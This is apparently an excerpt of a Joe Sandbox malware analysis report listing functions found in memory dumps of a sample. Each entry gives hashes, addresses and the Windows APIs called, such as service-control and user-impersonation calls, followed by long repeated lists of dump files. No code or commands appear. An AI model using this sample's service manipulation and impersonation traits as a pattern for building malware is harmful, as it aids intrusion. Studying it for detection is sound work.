Associated: 0000000A.00000002.1717740933.0000000000D07000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717766764.0000000000D0E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717791047.0000000000D16000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717813026.0000000000D17000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717839140.0000000000D2E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717861340.0000000000D38000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717883579.0000000000D41000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717903695.0000000000D43000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717931645.0000000000D62000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717954099.0000000000D63000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717985840.0000000000D94000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1718005818.0000000000D95000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1718025109.0000000000D96000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1718046782.0000000000D97000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1718069203.0000000000DA1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1718069203.0000000000DAA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1718116486.0000000000DB8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1718141351.0000000000DBA000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_b00000_HXPC21YC8H3Q6AWWXLQHI1I.jbxd

Similarity

API ID: Open$InfoNativeSystem
String ID:
API String ID: 1247124224-0
Opcode ID: e80647ee003962d5a3bd47bf32f484b21418879e049b617efcc90d1a0faa4daa
Instruction ID: 27f622e3e9b072c6bc3cbf1ab32c4d18af5eae8b9ab02091eeb50c5fe88c9198
Opcode Fuzzy Hash: e80647ee003962d5a3bd47bf32f484b21418879e049b617efcc90d1a0faa4daa
Instruction Fuzzy Hash: 7C313A7140420E9FEF11DFA0C848BEE3BB9FF11314F115529E99186942E3B65DE4CB5A

Function 00C8DF99 Relevance: 1.6, APIs: 1, Instructions: 102
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00C8DF99

Memory Dump Source

Source File: 0000000A.00000002.1717245819.0000000000C8C000.00000080.00000001.01000000.00000006.sdmp, Offset: 00B00000, based on PE: true

Associated: 0000000A.00000002.1716941692.0000000000B00000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1716963563.0000000000B02000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1716987003.0000000000B06000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717010060.0000000000B0A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717032676.0000000000B14000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717053804.0000000000B15000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717076322.0000000000B16000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717174423.0000000000C70000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717198735.0000000000C72000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717224677.0000000000C8B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717268597.0000000000C8F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717268597.0000000000C96000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717319122.0000000000CAC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717341866.0000000000CAD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717364439.0000000000CAE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717388335.0000000000CB2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717415993.0000000000CC7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717437631.0000000000CC8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717461937.0000000000CCF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717486400.0000000000CD9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717511345.0000000000CE8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717534467.0000000000CEB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717569131.0000000000CEC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717593773.0000000000CED000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717637970.0000000000CF9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717663619.0000000000CFD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717686624.0000000000CFE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717710475.0000000000D06000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717740933.0000000000D07000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717766764.0000000000D0E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717791047.0000000000D16000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717813026.0000000000D17000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717839140.0000000000D2E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717861340.0000000000D38000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717883579.0000000000D41000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717903695.0000000000D43000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717931645.0000000000D62000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717954099.0000000000D63000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717985840.0000000000D94000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1718005818.0000000000D95000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1718025109.0000000000D96000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1718046782.0000000000D97000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1718069203.0000000000DA1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1718069203.0000000000DAA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1718116486.0000000000DB8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1718141351.0000000000DBA000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_b00000_HXPC21YC8H3Q6AWWXLQHI1I.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: bf1baacad60b92c0320853c83c11f88d01dc9ffc5ca595014e1e46242493da94
Instruction ID: 448b0cae046eb42c0a7bb432b94a0d895851c07e2d037ab92d6b2c52cc1f927f
Opcode Fuzzy Hash: bf1baacad60b92c0320853c83c11f88d01dc9ffc5ca595014e1e46242493da94
Instruction Fuzzy Hash: 863106B290C700EFE345AF29D88167AFBE5EF98324F16882DD6C583614E67488848B57

Function 00C8DE68 Relevance: 1.6, APIs: 1, Instructions: 95
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00C8DE68

Memory Dump Source

Source File: 0000000A.00000002.1717245819.0000000000C8C000.00000080.00000001.01000000.00000006.sdmp, Offset: 00B00000, based on PE: true

Associated: 0000000A.00000002.1716941692.0000000000B00000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1716963563.0000000000B02000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1716987003.0000000000B06000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717010060.0000000000B0A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717032676.0000000000B14000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717053804.0000000000B15000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717076322.0000000000B16000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717174423.0000000000C70000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717198735.0000000000C72000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717224677.0000000000C8B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717268597.0000000000C8F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717268597.0000000000C96000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717319122.0000000000CAC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717341866.0000000000CAD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717364439.0000000000CAE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717388335.0000000000CB2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717415993.0000000000CC7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717437631.0000000000CC8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717461937.0000000000CCF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717486400.0000000000CD9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717511345.0000000000CE8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717534467.0000000000CEB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717569131.0000000000CEC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717593773.0000000000CED000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717637970.0000000000CF9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717663619.0000000000CFD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717686624.0000000000CFE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717710475.0000000000D06000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717740933.0000000000D07000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717766764.0000000000D0E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717791047.0000000000D16000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717813026.0000000000D17000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717839140.0000000000D2E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717861340.0000000000D38000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717883579.0000000000D41000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717903695.0000000000D43000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717931645.0000000000D62000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717954099.0000000000D63000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717985840.0000000000D94000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1718005818.0000000000D95000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1718025109.0000000000D96000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1718046782.0000000000D97000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1718069203.0000000000DA1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1718069203.0000000000DAA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1718116486.0000000000DB8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1718141351.0000000000DBA000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_b00000_HXPC21YC8H3Q6AWWXLQHI1I.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 5cef0ec8cd3bea7a05750c8d9c8bc729cdc85af6f70efc7c5f443b4ee8bb039b
Instruction ID: a24869c5e83d1b134158faad8393aa52abb13ed242dc761076549952f321dc01
Opcode Fuzzy Hash: 5cef0ec8cd3bea7a05750c8d9c8bc729cdc85af6f70efc7c5f443b4ee8bb039b
Instruction Fuzzy Hash: 313137B250C300AFD305BF19D885A6EFBF9EF94721F16882DE6C483610D6355454CBAB

Function 051A0D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 051A0DCD

Memory Dump Source

Source File: 0000000A.00000002.1720296679.00000000051A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 051A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_51a0000_HXPC21YC8H3Q6AWWXLQHI1I.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 79e22d10b069bb2180c7cfe0178790965f31aeb6516df4b13e5611bf212def49
Instruction ID: ad82e5ea8528353dbc7cd78720da121018c99b211168bca3ac7cee7e4f662c00
Opcode Fuzzy Hash: 79e22d10b069bb2180c7cfe0178790965f31aeb6516df4b13e5611bf212def49
Instruction Fuzzy Hash: 1B2115BAC012599FCB10CF99D884BDEFBF5FB88310F14821AD819AB244D734A941CBA4

Function 051A0D41 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 051A0DCD

Memory Dump Source

Source File: 0000000A.00000002.1720296679.00000000051A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 051A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_51a0000_HXPC21YC8H3Q6AWWXLQHI1I.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 0c38af34a91adae9944f7d075bce1036a052f683d7d573d78b058004b2ec5d48
Instruction ID: e771ec6efa5e598419757afba6377d7d705acef65084b330ebb74e433b6bba35
Opcode Fuzzy Hash: 0c38af34a91adae9944f7d075bce1036a052f683d7d573d78b058004b2ec5d48
Instruction Fuzzy Hash: 172107BAD002498FCB14CF99D585ADEBBB1FB88310F15821AD919AB244C7345545CBA4

Function 051A1510 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 051A1580

Memory Dump Source

Source File: 0000000A.00000002.1720296679.00000000051A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 051A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_51a0000_HXPC21YC8H3Q6AWWXLQHI1I.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: 55f567a0e8e33a1b95cbc5f99a9887b713edebca0efb777b8e15efad50f99f51
Instruction ID: 881d012f1074632e10347afccf554ab9e1382ebe535a0cf6e665490b96e2f155
Opcode Fuzzy Hash: 55f567a0e8e33a1b95cbc5f99a9887b713edebca0efb777b8e15efad50f99f51
Instruction Fuzzy Hash: AB1114B5D003499FDB20CF9AC584BDEFBF4EB48320F108029E919A3250D378AA44CFA5

Function 051A1509 Relevance: 1.6, APIs: 1, Instructions: 52
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 051A1580

Memory Dump Source

Source File: 0000000A.00000002.1720296679.00000000051A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 051A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_51a0000_HXPC21YC8H3Q6AWWXLQHI1I.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: d2a643a912bee2d29feeafdf552620e1cc78993d04086b9d19da6951ab4c89e1
Instruction ID: c271da41aa024bbeb2b91523067eaa08860d8a558f340a034620d6d826170325
Opcode Fuzzy Hash: d2a643a912bee2d29feeafdf552620e1cc78993d04086b9d19da6951ab4c89e1
Instruction Fuzzy Hash: 351103B5D00349CFDB10CF9AC584BDEBBF4BB48320F10802AD919A3250C738A645CFA5

Function 051A1301 Relevance: 1.6, APIs: 1, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 051A1367

Memory Dump Source

Source File: 0000000A.00000002.1720296679.00000000051A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 051A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_51a0000_HXPC21YC8H3Q6AWWXLQHI1I.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: f4a752d6c856071a013177697d112e4f44cd904b75b33205cd2e71058c0a9ee9
Instruction ID: 157085b991f62c7ffc5e510c9360d2310a0ea4cb8f4ab92af0859880836dad5e
Opcode Fuzzy Hash: f4a752d6c856071a013177697d112e4f44cd904b75b33205cd2e71058c0a9ee9
Instruction Fuzzy Hash: E41146B2800249CFDB10CF9AC585BDEBBF4EF48320F248429D528A3640C738A545CFA1

Function 051A1308 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 051A1367

Memory Dump Source

Source File: 0000000A.00000002.1720296679.00000000051A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 051A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_51a0000_HXPC21YC8H3Q6AWWXLQHI1I.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: 1b3c0f899b1ad858ee85464bc32a405663b6a8f56bd91c223ebea97caf398aed
Instruction ID: 062eac1cb6d3dcdbbbc1e8ed2afda6dcf31b02ebe764c6778717ac637f54027d
Opcode Fuzzy Hash: 1b3c0f899b1ad858ee85464bc32a405663b6a8f56bd91c223ebea97caf398aed
Instruction Fuzzy Hash: 1A11F5B5C00349CFDB20DF9AC545BDEBBF4EB48320F14842AD518A3650D778A944CFA5

Function 00C9BFE6 Relevance: 1.5, APIs: 1, Instructions: 36
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00CA047D

Memory Dump Source

Source File: 0000000A.00000002.1717268597.0000000000C96000.00000040.00000001.01000000.00000006.sdmp, Offset: 00B00000, based on PE: true

Associated: 0000000A.00000002.1716941692.0000000000B00000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1716963563.0000000000B02000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1716987003.0000000000B06000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717010060.0000000000B0A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717032676.0000000000B14000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717053804.0000000000B15000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717076322.0000000000B16000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717174423.0000000000C70000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717198735.0000000000C72000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717224677.0000000000C8B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717245819.0000000000C8C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717268597.0000000000C8F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717319122.0000000000CAC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717341866.0000000000CAD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717364439.0000000000CAE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717388335.0000000000CB2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717415993.0000000000CC7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717437631.0000000000CC8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717461937.0000000000CCF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717486400.0000000000CD9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717511345.0000000000CE8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717534467.0000000000CEB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717569131.0000000000CEC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717593773.0000000000CED000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717637970.0000000000CF9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717663619.0000000000CFD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717686624.0000000000CFE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717710475.0000000000D06000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717740933.0000000000D07000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717766764.0000000000D0E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717791047.0000000000D16000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717813026.0000000000D17000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717839140.0000000000D2E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717861340.0000000000D38000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717883579.0000000000D41000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717903695.0000000000D43000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717931645.0000000000D62000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717954099.0000000000D63000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717985840.0000000000D94000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1718005818.0000000000D95000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1718025109.0000000000D96000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1718046782.0000000000D97000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1718069203.0000000000DA1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1718069203.0000000000DAA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1718116486.0000000000DB8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1718141351.0000000000DBA000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_b00000_HXPC21YC8H3Q6AWWXLQHI1I.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 8bc9df4455ee3f9be0aa741967fc9d3f898edfdb20a8eace8e32bf92eabaa313
Instruction ID: 3a59192ed5c5ba13f3a63e7b10b16f3db5c0731a94f44fdb2940a7894cca063a
Opcode Fuzzy Hash: 8bc9df4455ee3f9be0aa741967fc9d3f898edfdb20a8eace8e32bf92eabaa313
Instruction Fuzzy Hash: 6CF036B290C601EBD719AF29D84573EF3E8BF14710F16482DDBC693390E6356C509A56

Function 00B0E6F5 Relevance: 1.3, APIs: 1, Instructions: 50
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 00B0F891

Memory Dump Source

Source File: 0000000A.00000002.1717010060.0000000000B0A000.00000040.00000001.01000000.00000006.sdmp, Offset: 00B00000, based on PE: true

Associated: 0000000A.00000002.1716941692.0000000000B00000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1716963563.0000000000B02000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1716987003.0000000000B06000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717032676.0000000000B14000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717053804.0000000000B15000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717076322.0000000000B16000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717174423.0000000000C70000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717198735.0000000000C72000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717224677.0000000000C8B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717245819.0000000000C8C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717268597.0000000000C8F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717268597.0000000000C96000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717319122.0000000000CAC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717341866.0000000000CAD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717364439.0000000000CAE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717388335.0000000000CB2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717415993.0000000000CC7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717437631.0000000000CC8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717461937.0000000000CCF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717486400.0000000000CD9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717511345.0000000000CE8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717534467.0000000000CEB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717569131.0000000000CEC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717593773.0000000000CED000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717637970.0000000000CF9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717663619.0000000000CFD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717686624.0000000000CFE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717710475.0000000000D06000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717740933.0000000000D07000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717766764.0000000000D0E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717791047.0000000000D16000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717813026.0000000000D17000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717839140.0000000000D2E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717861340.0000000000D38000.00000040.00000001.01000000.00000006.sdmpDownload File
